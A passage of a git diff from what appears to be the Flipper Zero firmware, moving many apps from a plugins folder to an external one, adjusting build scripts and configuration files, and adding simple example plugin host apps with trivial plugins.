external}/hid_app/hid.h (100%) rename applications/{plugins => external}/hid_app/hid_ble_10px.png (100%) rename applications/{plugins => external}/hid_app/hid_usb_10px.png (100%) rename applications/{plugins => external}/hid_app/views.h (100%) rename applications/{plugins => external}/hid_app/views/hid_keyboard.c (100%) rename applications/{plugins => external}/hid_app/views/hid_keyboard.h (100%) rename applications/{plugins => external}/hid_app/views/hid_keynote.c (100%) rename applications/{plugins => external}/hid_app/views/hid_keynote.h (100%) rename applications/{plugins => external}/hid_app/views/hid_media.c (100%) rename applications/{plugins => external}/hid_app/views/hid_media.h (100%) rename applications/{plugins => external}/hid_app/views/hid_mouse.c (100%) rename applications/{plugins => external}/hid_app/views/hid_mouse.h (100%) rename applications/{plugins => external}/hid_app/views/hid_mouse_jiggler.c (100%) rename applications/{plugins => external}/hid_app/views/hid_mouse_jiggler.h (100%) rename applications/{plugins => external}/hid_app/views/hid_tiktok.c (100%) rename applications/{plugins => external}/hid_app/views/hid_tiktok.h (100%) rename applications/{plugins => external}/music_player/application.fam (87%) rename applications/{plugins => external}/music_player/icons/music_10px.png (100%) rename applications/{plugins => external}/music_player/music_player.c (100%) rename applications/{plugins => external}/music_player/music_player_cli.c (100%) rename applications/{plugins => external}/music_player/music_player_worker.c (100%) rename applications/{plugins => external}/music_player/music_player_worker.h (100%) rename applications/{plugins => external}/nfc_magic/application.fam (100%) rename applications/{plugins => external}/nfc_magic/assets/DolphinCommon_56x48.png (100%) rename applications/{plugins => external}/nfc_magic/assets/DolphinNice_96x59.png (100%) rename applications/{plugins => external}/nfc_magic/assets/Loading_24.png (100%) rename applications/{plugins => external}/nfc_magic/assets/NFC_manual_60x50.png (100%) rename applications/{plugins => external}/nfc_magic/lib/magic/magic.c (100%) rename applications/{plugins => external}/nfc_magic/lib/magic/magic.h (100%) rename applications/{plugins => external}/nfc_magic/nfc_magic.c (100%) rename applications/{plugins => external}/nfc_magic/nfc_magic.h (100%) rename applications/{plugins => external}/nfc_magic/nfc_magic_i.h (100%) rename applications/{plugins => external}/nfc_magic/nfc_magic_worker.c (100%) rename applications/{plugins => external}/nfc_magic/nfc_magic_worker.h (100%) rename applications/{plugins => external}/nfc_magic/nfc_magic_worker_i.h (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene.h (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_check.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_config.h (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_file_select.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_magic_info.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_not_magic.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_start.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_success.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_wipe.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_write.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_write_confirm.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_write_fail.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_wrong_card.c (100%) rename applications/{plugins => external}/picopass/125_10px.png (100%) rename applications/{plugins => external}/picopass/application.fam (100%) rename applications/{plugins => external}/picopass/helpers/iclass_elite_dict.c (100%) rename applications/{plugins => external}/picopass/helpers/iclass_elite_dict.h (100%) rename applications/{plugins => external}/picopass/icons/DolphinMafia_115x62.png (100%) rename applications/{plugins => external}/picopass/icons/DolphinNice_96x59.png (100%) rename applications/{plugins => external}/picopass/icons/Nfc_10px.png (100%) rename applications/{plugins => external}/picopass/icons/RFIDDolphinReceive_97x61.png (100%) rename applications/{plugins => external}/picopass/icons/RFIDDolphinSend_97x61.png (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_cipher.c (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_cipher.h (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_cipherutils.c (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_cipherutils.h (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_elite.c (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_elite.h (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_ikeys.c (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_ikeys.h (100%) rename applications/{plugins => external}/picopass/picopass.c (100%) rename applications/{plugins => external}/picopass/picopass.h (100%) rename applications/{plugins => external}/picopass/picopass_device.c (100%) rename applications/{plugins => external}/picopass/picopass_device.h (100%) rename applications/{plugins => external}/picopass/picopass_i.h (100%) rename applications/{plugins => external}/picopass/picopass_keys.c (100%) rename applications/{plugins => external}/picopass/picopass_keys.h (100%) rename applications/{plugins => external}/picopass/picopass_worker.c (100%) rename applications/{plugins => external}/picopass/picopass_worker.h (100%) rename applications/{plugins => external}/picopass/picopass_worker_i.h (100%) rename applications/{plugins => external}/picopass/rfal_picopass.c (100%) rename applications/{plugins => external}/picopass/rfal_picopass.h (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene.h (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_card_menu.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_config.h (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_delete.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_delete_success.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_device_info.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_file_select.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_key_menu.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_read_card.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_read_card_success.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_read_factory_success.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_save_name.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_save_success.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_saved_menu.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_start.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_write_card.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_write_card_success.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_write_key.c (100%) rename applications/{plugins => external}/signal_generator/application.fam (78%) rename applications/{plugins => external}/signal_generator/icons/SmallArrowDown_3x5.png (100%) rename applications/{plugins => external}/signal_generator/icons/SmallArrowUp_3x5.png (100%) rename applications/{plugins => external}/signal_generator/scenes/signal_gen_scene.c (100%) rename applications/{plugins => external}/signal_generator/scenes/signal_gen_scene.h (100%) rename applications/{plugins => external}/signal_generator/scenes/signal_gen_scene_config.h (100%) rename applications/{plugins => external}/signal_generator/scenes/signal_gen_scene_mco.c (100%) rename applications/{plugins => external}/signal_generator/scenes/signal_gen_scene_pwm.c (100%) rename applications/{plugins => external}/signal_generator/scenes/signal_gen_scene_start.c (100%) rename applications/{plugins => external}/signal_generator/signal_gen_10px.png (100%) rename applications/{plugins => external}/signal_generator/signal_gen_app.c (100%) rename applications/{plugins => external}/signal_generator/signal_gen_app_i.h (100%) rename applications/{plugins => external}/signal_generator/views/signal_gen_pwm.c (100%) rename applications/{plugins => external}/signal_generator/views/signal_gen_pwm.h (100%) rename applications/{plugins => external}/snake_game/application.fam (75%) rename applications/{plugins => external}/snake_game/snake_10px.png (100%) rename applications/{plugins => external}/snake_game/snake_game.c (100%) rename applications/{plugins => external}/spi_mem_manager/application.fam (100%) rename applications/{plugins => external}/spi_mem_manager/images/ChipLooking_64x64/frame_01.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/ChipLooking_64x64/frame_02.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/ChipLooking_64x64/frame_03.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/ChipLooking_64x64/frame_rate (100%) rename applications/{plugins => external}/spi_mem_manager/images/Dip8_10px.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/Dip8_32x36.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/DolphinMafia_115x62.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/DolphinNice_96x59.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/SDQuestion_35x43.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/Wiring_SPI_128x64.png (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_chip.c (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_chip.h (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_chip_arr.c (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_chip_i.h (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_tools.c (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_tools.h (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_worker.c (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_worker.h (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_worker_i.h (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_worker_modes.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene.h (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_about.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_chip_error.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_config.h (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_erase.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_file_info.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_read.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_read_filename.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_select_file.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_select_model.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_start.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_storage_error.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_success.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_verify.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_verify_error.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_wiring.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_write.c (100%) rename applications/{plugins => external}/spi_mem_manager/spi_mem_app.c (100%) rename applications/{plugins => external}/spi_mem_manager/spi_mem_app.h (100%) rename applications/{plugins => external}/spi_mem_manager/spi_mem_app_i.h (100%) rename applications/{plugins => external}/spi_mem_manager/spi_mem_files.c (100%) rename applications/{plugins => external}/spi_mem_manager/spi_mem_files.h (100%) rename applications/{plugins => external}/spi_mem_manager/tools/README.md (100%) rename applications/{plugins => external}/spi_mem_manager/tools/chiplist/LICENSE (100%) rename applications/{plugins => external}/spi_mem_manager/tools/chiplist/chiplist.xml (100%) rename applications/{plugins => external}/spi_mem_manager/tools/chiplist_convert.py (100%) rename applications/{plugins => external}/spi_mem_manager/views/spi_mem_view_detect.c (100%) rename applications/{plugins => external}/spi_mem_manager/views/spi_mem_view_detect.h (100%) rename applications/{plugins => external}/spi_mem_manager/views/spi_mem_view_progress.c (100%) rename applications/{plugins => external}/spi_mem_manager/views/spi_mem_view_progress.h (100%) rename applications/{plugins => external}/weather_station/application.fam (79%) rename applications/{plugins => external}/weather_station/helpers/weather_station_event.h (100%) rename applications/{plugins => external}/weather_station/helpers/weather_station_types.h (100%) rename applications/{plugins => external}/weather_station/images/Humid_10x15.png (100%) rename applications/{plugins => external}/weather_station/images/Humid_8x13.png (100%) rename applications/{plugins => external}/weather_station/images/Lock_7x8.png (100%) rename applications/{plugins => external}/weather_station/images/Pin_back_arrow_10x8.png (100%) rename applications/{plugins => external}/weather_station/images/Quest_7x8.png (100%) rename applications/{plugins => external}/weather_station/images/Scanning_123x52.png (100%) rename applications/{plugins => external}/weather_station/images/Therm_7x16.png (100%) rename applications/{plugins => external}/weather_station/images/Timer_11x11.png (100%) rename applications/{plugins => external}/weather_station/images/Unlock_7x8.png (100%) rename applications/{plugins => external}/weather_station/images/WarningDolphin_45x42.png (100%) rename applications/{plugins => external}/weather_station/images/station_icon.png (100%) rename applications/{plugins => external}/weather_station/protocols/acurite_592txr.c (100%) rename applications/{plugins => external}/weather_station/protocols/acurite_592txr.h (100%) rename applications/{plugins => external}/weather_station/protocols/acurite_606tx.c (100%) rename applications/{plugins => external}/weather_station/protocols/acurite_606tx.h (100%) rename applications/{plugins => external}/weather_station/protocols/acurite_609txc.c (100%) rename applications/{plugins => external}/weather_station/protocols/acurite_609txc.h (100%) rename applications/{plugins => external}/weather_station/protocols/ambient_weather.c (100%) rename applications/{plugins => external}/weather_station/protocols/ambient_weather.h (100%) rename applications/{plugins => external}/weather_station/protocols/auriol_hg0601a.c (100%) rename applications/{plugins => external}/weather_station/protocols/auriol_hg0601a.h (100%) rename applications/{plugins => external}/weather_station/protocols/gt_wt_02.c (100%) rename applications/{plugins => external}/weather_station/protocols/gt_wt_02.h (100%) rename applications/{plugins => external}/weather_station/protocols/gt_wt_03.c (100%) rename applications/{plugins => external}/weather_station/protocols/gt_wt_03.h (100%) rename applications/{plugins => external}/weather_station/protocols/infactory.c (100%) rename applications/{plugins => external}/weather_station/protocols/infactory.h (100%) rename applications/{plugins => external}/weather_station/protocols/lacrosse_tx.c (100%) rename applications/{plugins => external}/weather_station/protocols/lacrosse_tx.h (100%) rename applications/{plugins => external}/weather_station/protocols/lacrosse_tx141thbv2.c (100%) rename applications/{plugins => external}/weather_station/protocols/lacrosse_tx141thbv2.h (100%) rename applications/{plugins => external}/weather_station/protocols/nexus_th.c (100%) rename applications/{plugins => external}/weather_station/protocols/nexus_th.h (100%) rename applications/{plugins => external}/weather_station/protocols/oregon2.c (100%) rename applications/{plugins => external}/weather_station/protocols/oregon2.h (100%) rename applications/{plugins => external}/weather_station/protocols/oregon_v1.c (100%) rename applications/{plugins => external}/weather_station/protocols/oregon_v1.h (100%) rename applications/{plugins => external}/weather_station/protocols/protocol_items.c (100%) rename applications/{plugins => external}/weather_station/protocols/protocol_items.h (100%) rename applications/{plugins => external}/weather_station/protocols/thermopro_tx4.c (100%) rename applications/{plugins => external}/weather_station/protocols/thermopro_tx4.h (100%) rename applications/{plugins => external}/weather_station/protocols/tx_8300.c (100%) rename applications/{plugins => external}/weather_station/protocols/tx_8300.h (100%) rename applications/{plugins => external}/weather_station/protocols/ws_generic.c (100%) rename applications/{plugins => external}/weather_station/protocols/ws_generic.h (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_receiver.c (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene.c (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene.h (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene_about.c (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene_config.h (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene_receiver_config.c (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene_receiver_info.c (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene_start.c (100%) rename applications/{plugins => external}/weather_station/views/weather_station_receiver.c (100%) rename applications/{plugins => external}/weather_station/views/weather_station_receiver.h (100%) rename applications/{plugins => external}/weather_station/views/weather_station_receiver_info.c (100%) rename applications/{plugins => external}/weather_station/views/weather_station_receiver_info.h (100%) rename applications/{plugins => external}/weather_station/weather_station_10px.png (100%) rename applications/{plugins => external}/weather_station/weather_station_app.c (100%) rename applications/{plugins => external}/weather_station/weather_station_app_i.c (100%) rename applications/{plugins => external}/weather_station/weather_station_app_i.h (100%) rename applications/{plugins => external}/weather_station/weather_station_history.c (100%) rename applications/{plugins => external}/weather_station/weather_station_history.h (100%) delete mode 100644 applications/main/fap_loader/elf_cpp/elf_hashtable.cpp delete mode 100644 applications/main/fap_loader/elf_cpp/elf_hashtable.h delete mode 100644 applications/main/fap_loader/elf_cpp/elf_hashtable_checks.hpp delete mode 100644 applications/main/fap_loader/elf_cpp/elf_hashtable_entry.h delete mode 100644 applications/plugins/application.fam create mode 100644 applications/services/loader/firmware_api/firmware_api.cpp create mode 100644 applications/services/loader/firmware_api/firmware_api.h create mode 100644 lib/flipper_application/api_hashtable/api_hashtable.cpp create mode 100644 lib/flipper_application/api_hashtable/api_hashtable.h rename {applications/main/fap_loader/elf_cpp => lib/flipper_application/api_hashtable}/compilesort.hpp (99%) create mode 100644 lib/flipper_application/plugins/composite_resolver.c create mode 100644 lib/flipper_application/plugins/composite_resolver.h create mode 100644 lib/flipper_application/plugins/plugin_manager.c create mode 100644 lib/flipper_application/plugins/plugin_manager.h create mode 100644 scripts/distfap.py create mode 100644 scripts/fbt/fapassets.py delete mode 100644 scripts/requirements.txt diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 69f8289f9..0bc130243 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -22,8 +22,8 @@ /applications/main/subghz/ @skotopes @DrZlo13 @hedger @Skorpionm /applications/main/u2f/ @skotopes @DrZlo13 @hedger @nminaylov -/applications/plugins/bt_hid_app/ @skotopes @DrZlo13 @hedger @gornekich -/applications/plugins/picopass/ @skotopes @DrZlo13 @hedger @gornekich +/applications/external/bt_hid_app/ @skotopes @DrZlo13 @hedger @gornekich +/applications/external/picopass/ @skotopes @DrZlo13 @hedger @gornekich /applications/services/bt/ @skotopes @DrZlo13 @hedger @gornekich /applications/services/cli/ @skotopes @DrZlo13 @hedger @nminaylov diff --git a/.gitmodules b/.gitmodules index a97e0933a..56368cd58 100644 --- a/.gitmodules +++ b/.gitmodules @@ -28,6 +28,6 @@ [submodule "lib/cxxheaderparser"] path = lib/cxxheaderparser url = https://github.com/robotpy/cxxheaderparser.git -[submodule "applications/plugins/dap_link/lib/free-dap"] - path = applications/plugins/dap_link/lib/free-dap +[submodule "applications/external/dap_link/lib/free-dap"] + path = applications/external/dap_link/lib/free-dap url = https://github.com/ataradov/free-dap.git diff --git a/.pvsoptions b/.pvsoptions index ca1b2b572..6b22aed76 100644 --- a/.pvsoptions +++ b/.pvsoptions @@ -1 +1 @@ ---ignore-ccache -C gccarm --rules-config .pvsconfig -e lib/fatfs -e lib/fnv1a-hash -e lib/FreeRTOS-Kernel -e lib/heatshrink -e lib/libusb_stm32 -e lib/littlefs -e lib/mbedtls -e lib/micro-ecc -e lib/microtar -e lib/mlib -e lib/qrcode -e lib/ST25RFAL002 -e lib/STM32CubeWB -e lib/u8g2 -e lib/nanopb -e */arm-none-eabi/* -e applications/plugins/dap_link/lib/free-dap +--ignore-ccache -C gccarm --rules-config .pvsconfig -e lib/fatfs -e lib/fnv1a-hash -e lib/FreeRTOS-Kernel -e lib/heatshrink -e lib/libusb_stm32 -e lib/littlefs -e lib/mbedtls -e lib/micro-ecc -e lib/microtar -e lib/mlib -e lib/qrcode -e lib/ST25RFAL002 -e lib/STM32CubeWB -e lib/u8g2 -e lib/nanopb -e */arm-none-eabi/* -e applications/external/dap_link/lib/free-dap diff --git a/SConstruct b/SConstruct index 62e37dfdc..090a92599 100644 --- a/SConstruct +++ b/SConstruct @@ -139,34 +139,33 @@ if GetOption("fullenv") or any( basic_dist = distenv.DistCommand("fw_dist", distenv["DIST_DEPENDS"]) distenv.Default(basic_dist) -dist_dir = distenv.GetProjetDirName() +dist_dir_name = distenv.GetProjetDirName() +dist_dir = distenv.Dir(f"#/dist/{dist_dir_name}") +external_apps_artifacts = firmware_env["FW_EXTAPPS"] +external_app_list = external_apps_artifacts.application_map.values() + fap_dist = [ distenv.Install( - distenv.Dir(f"#/dist/{dist_dir}/apps/debug_elf"), - list( - app_artifact.debug - for app_artifact in firmware_env["FW_EXTAPPS"].applications.values() - ), + dist_dir.Dir("debug_elf"), + list(app_artifact.debug for app_artifact in external_app_list), ), *( distenv.Install( - f"#/dist/{dist_dir}/apps/{app_artifact.app.fap_category}", - app_artifact.compact[0], + dist_dir.File(dist_entry[1]).dir, + app_artifact.compact, ) - for app_artifact in firmware_env["FW_EXTAPPS"].applications.values() + for app_artifact in external_app_list + for dist_entry in app_artifact.dist_entries ), ] Depends( fap_dist, - list( - app_artifact.validator - for app_artifact in firmware_env["FW_EXTAPPS"].applications.values() - ), + list(app_artifact.validator for app_artifact in external_app_list), ) Alias("fap_dist", fap_dist) # distenv.Default(fap_dist) -distenv.Depends(firmware_env["FW_RESOURCES"], firmware_env["FW_EXTAPPS"].resources_dist) +distenv.Depends(firmware_env["FW_RESOURCES"], external_apps_artifacts.resources_dist) # Copy all faps to device diff --git a/applications/examples/application.fam b/applications/examples/application.fam index 8556714c9..347411fac 100644 --- a/applications/examples/application.fam +++ b/applications/examples/application.fam @@ -1,3 +1,4 @@ +# Placeholder App( appid="example_apps", name="Example apps bundle", diff --git a/applications/examples/example_plugins/application.fam b/applications/examples/example_plugins/application.fam new file mode 100644 index 000000000..a6e3c2078 --- /dev/null +++ b/applications/examples/example_plugins/application.fam @@ -0,0 +1,31 @@ +App( + appid="example_plugins", + name="Example: App w/plugin", + apptype=FlipperAppType.EXTERNAL, + entry_point="example_plugins_app", + stack_size=2 * 1024, + fap_category="Examples", +) + +App( + appid="example_plugins_multi", + name="Example: App w/plugins", + apptype=FlipperAppType.EXTERNAL, + entry_point="example_plugins_multi_app", + stack_size=2 * 1024, + fap_category="Examples", +) + +App( + appid="example_plugin1", + apptype=FlipperAppType.PLUGIN, + entry_point="example_plugin1_ep", + requires=["example_plugins", "example_plugins_multi"], +) + +App( + appid="example_plugin2", + apptype=FlipperAppType.PLUGIN, + entry_point="example_plugin2_ep", + requires=["example_plugins_multi"], +) diff --git a/applications/examples/example_plugins/example_plugins.c b/applications/examples/example_plugins/example_plugins.c new file mode 100644 index 000000000..acc5903ad --- /dev/null +++ b/applications/examples/example_plugins/example_plugins.c @@ -0,0 +1,70 @@ +/* + * An example of a plugin host application. + * Loads a single plugin and calls its methods. + */ + +#include "plugin_interface.h" + +#include + +#include +#include +#include + +#define TAG "example_plugins" + +int32_t example_plugins_app(void* p) { + UNUSED(p); + + FURI_LOG_I(TAG, "Starting"); + + Storage* storage = furi_record_open(RECORD_STORAGE); + + FlipperApplication* app = flipper_application_alloc(storage, firmware_api_interface); + + do { + FlipperApplicationPreloadStatus preload_res = + flipper_application_preload(app, APP_DATA_PATH("plugins/example_plugin1.fal")); + + if(preload_res != FlipperApplicationPreloadStatusSuccess) { + FURI_LOG_E(TAG, "Failed to preload plugin"); + break; + } + + if(!flipper_application_is_plugin(app)) { + FURI_LOG_E(TAG, "Plugin file is not a library"); + break; + } + + FlipperApplicationLoadStatus load_status = flipper_application_map_to_memory(app); + if(load_status != FlipperApplicationLoadStatusSuccess) { + FURI_LOG_E(TAG, "Failed to load plugin file"); + break; + } + + const FlipperAppPluginDescriptor* app_descriptor = + flipper_application_plugin_get_descriptor(app); + + FURI_LOG_I( + TAG, + "Loaded plugin for appid '%s', API %lu", + app_descriptor->appid, + app_descriptor->ep_api_version); + + furi_check(app_descriptor->ep_api_version == PLUGIN_API_VERSION); + furi_check(strcmp(app_descriptor->appid, PLUGIN_APP_ID) == 0); + + const ExamplePlugin* plugin = app_descriptor->entry_point; + + FURI_LOG_I(TAG, "Plugin name: %s", plugin->name); + FURI_LOG_I(TAG, "Plugin method1: %d", plugin->method1()); + FURI_LOG_I(TAG, "Plugin method2(7,8): %d", plugin->method2(7, 8)); + FURI_LOG_I(TAG, "Plugin method2(1337,228): %d", plugin->method2(1337, 228)); + } while(false); + flipper_application_free(app); + + furi_record_close(RECORD_STORAGE); + FURI_LOG_I(TAG, "Goodbye!"); + + return 0; +} diff --git a/applications/examples/example_plugins/example_plugins_multi.c b/applications/examples/example_plugins/example_plugins_multi.c new file mode 100644 index 000000000..12eba01c1 --- /dev/null +++ b/applications/examples/example_plugins/example_plugins_multi.c @@ -0,0 +1,43 @@ +/* + * An example of an advanced plugin host application. + * It uses PluginManager to load all plugins from a directory + */ + +#include "plugin_interface.h" + +#include +#include +#include + +#include + +#define TAG "example_plugins" + +int32_t example_plugins_multi_app(void* p) { + UNUSED(p); + + FURI_LOG_I(TAG, "Starting"); + + PluginManager* manager = + plugin_manager_alloc(PLUGIN_APP_ID, PLUGIN_API_VERSION, firmware_api_interface); + + if(plugin_manager_load_all(manager, APP_DATA_PATH("plugins")) != PluginManagerErrorNone) { + FURI_LOG_E(TAG, "Failed to load all libs"); + return 0; + } + + uint32_t plugin_count = plugin_manager_get_count(manager); + FURI_LOG_I(TAG, "Loaded %lu plugin(s)", plugin_count); + + for(uint32_t i = 0; i < plugin_count; i++) { + const ExamplePlugin* plugin = plugin_manager_get_ep(manager, i); + FURI_LOG_I(TAG, "plugin name: %s", plugin->name); + FURI_LOG_I(TAG, "plugin method1: %d", plugin->method1()); + FURI_LOG_I(TAG, "plugin method2(7,8): %d", plugin->method2(7, 8)); + } + + plugin_manager_free(manager); + FURI_LOG_I(TAG, "Goodbye!"); + + return 0; +} diff --git a/applications/examples/example_plugins/plugin1.c b/applications/examples/example_plugins/plugin1.c new file mode 100644 index 000000000..156219353 --- /dev/null +++ b/applications/examples/example_plugins/plugin1.c @@ -0,0 +1,32 @@ +/* A simple plugin implementing example_plugins application's plugin interface */ + +#include "plugin_interface.h" + +#include + +static int example_plugin1_method1() { + return 42; +} + +static int example_plugin1_method2(int arg1, int arg2) { + return arg1 + arg2; +} + +/* Actual implementation of app<>plugin interface */ +static const ExamplePlugin example_plugin1 = { + .name = "Demo App Plugin 1", + .method1 = &example_plugin1_method1, + .method2 = &example_plugin1_method2, +}; + +/* Plugin descriptor to comply with basic plugin specification */ +static const FlipperAppPluginDescriptor example_plugin1_descriptor = { + .appid = PLUGIN_APP_ID, + .ep_api_version = PLUGIN_API_VERSION, + .entry_point = &example_plugin1, +}; + +/* Plugin entry point - must return a pointer to const descriptor */ +const FlipperAppPluginDescriptor* example_plugin1_ep() { + return &example_plugin1_descriptor; +} diff --git a/applications/examples/example_plugins/plugin2.c b/applications/examples/example_plugins/plugin2.c new file mode 100644 index 000000000..0b774dad2 --- /dev/null +++ b/applications/examples/example_plugins/plugin2.c @@ -0,0 +1,32 @@ +/* Second plugin implementing example_plugins application's plugin interface */ + +#include "plugin_interface.h" + +#include + +static int example_plugin2_method1() { + return 1337; +} + +static int example_plugin2_method2(int arg1, int arg2) { + return arg1 - arg2; +} + +/* Actual implementation of app<>plugin interface */ +static const ExamplePlugin example_plugin2 = { + .name = "Demo App Plugin 2", + .method1 = &example_plugin2_method1, + .method2 = &example_plugin2_method2, +}; + +/* Plugin descriptor to comply with basic plugin specification */ +static const FlipperAppPluginDescriptor example_plugin2_descriptor = { + .appid = PLUGIN_APP_ID, + .ep_api_version = PLUGIN_API_VERSION, + .entry_point = &example_plugin2, +}; + +/* Plugin entry point - must return a pointer to const descriptor */ +const FlipperAppPluginDescriptor* example_plugin2_ep() { + return &example_plugin2_descriptor; +} diff --git a/applications/examples/example_plugins/plugin_interface.h b/applications/examples/example_plugins/plugin_interface.h new file mode 100644 index 000000000..e24bc47bf --- /dev/null +++ b/applications/examples/example_plugins/plugin_interface.h @@ -0,0 +1,12 @@ +#pragma once + +/* Common interface between a plugin and host applicaion */ + +#define PLUGIN_APP_ID "example_plugins" +#define PLUGIN_API_VERSION 1 + +typedef struct { + const char* name; + int (*method1)(); + int (*method2)(int, int); +} ExamplePlugin; diff --git a/applications/examples/example_plugins_advanced/app_api.c b/applications/examples/example_plugins_advanced/app_api.c new file mode 100644 index 000000000..42b3a1860 --- /dev/null +++ b/applications/examples/example_plugins_advanced/app_api.c @@ -0,0 +1,25 @@ +#include "app_api.h" + +/* Actual implementation of app's API and its private state */ + +static uint32_t accumulator = 0; + +void app_api_accumulator_set(uint32_t value) { + accumulator = value; +} + +uint32_t app_api_accumulator_get() { + return accumulator; +} + +void app_api_accumulator_add(uint32_t value) { + accumulator += value; +} + +void app_api_accumulator_sub(uint32_t value) { + accumulator -= value; +} + +void app_api_accumulator_mul(uint32_t value) { + accumulator *= value; +} diff --git a/applications/examples/example_plugins_advanced/app_api.h b/applications/examples/example_plugins_advanced/app_api.h new file mode 100644 index 000000000..7035b79f5 --- /dev/null +++ b/applications/examples/example_plugins_advanced/app_api.h @@ -0,0 +1,25 @@ 